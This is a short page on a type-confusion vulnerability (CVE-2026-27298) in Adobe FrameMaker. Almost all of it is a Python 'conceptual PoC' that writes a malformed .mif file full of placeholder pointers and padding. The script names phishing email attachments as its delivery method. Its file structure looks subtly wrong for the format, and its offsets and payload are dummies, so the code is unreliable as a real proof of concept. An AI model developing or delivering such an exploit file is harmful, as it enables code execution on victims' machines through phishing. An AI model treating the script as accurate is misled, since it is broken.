CVE-2026-27298 Adobe Framemaker类型混淆致任意代码执行漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-27298 (Type Confusion) This script generates a malformed file structure intended to trigger the type confusion vulnerability in Adobe Framemaker. Note: Actual offset and payload require binary analysis. """ import struct def generate_malicious_file(filename): # Header for a supported Framemaker format (simplified) header = b'\x00\x00\x00\x00MIF_FILE' # Malicious Section designed to cause Type Confusion # Crafting a specific object structure that the parser misinterprets # Offset 0x10: Fake Object Pointer # Offset 0x14: Corrupted Type ID (e.g., treating an integer as a pointer) malicious_payload = struct.pack('<Q', 0x4141414141414141) # Dummy address malicious_payload += struct.pack('<I', 0xdeadbeef) # Invalid Type ID # Padding to reach the vulnerable parsing routine padding = b'A' * 100 with open(filename, 'wb') as f: f.write(header + malicious_payload + padding) print(f"[+] Malicious file generated: {filename}") print(f"[+] Delivery method: Phishing email with attachment.") if __name__ == "__main__": generate_malicious_file("exploit_cve_2026_27298.mif")